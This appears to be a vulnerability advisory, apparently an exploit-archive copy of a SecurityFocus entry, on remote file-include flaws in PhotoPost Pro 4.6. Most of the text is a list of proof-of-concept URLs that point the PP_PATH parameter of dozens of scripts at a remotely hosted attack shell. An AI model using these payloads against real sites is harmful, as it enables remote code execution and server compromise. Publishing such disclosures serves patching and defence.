PhotoPost Pro 4.6 - Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/20028/info

PhotoPost Pro is prone to multiple remote file-include vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PhotoPost Pro 4.6 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/[path]/addfav.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-admlog.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-approve.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-backup.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cats.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-cinc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-db.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-editcfg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-inc.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-index.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-modcom.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-move.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-options.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-order.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]//adm-pa.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-photo.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-purge.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-style.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-templ.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-userg.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-users.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/bulkupload.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/cookies.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/comments.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/ecard.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/editphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/register.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showgallery.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/showmembers.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/useralbums.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/uploadphoto.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/search.php?PP_PATH=[Attack Shell]?
http://www.example.com/[path]/adm-menu.php?PP_PATH=[Attack Shell]?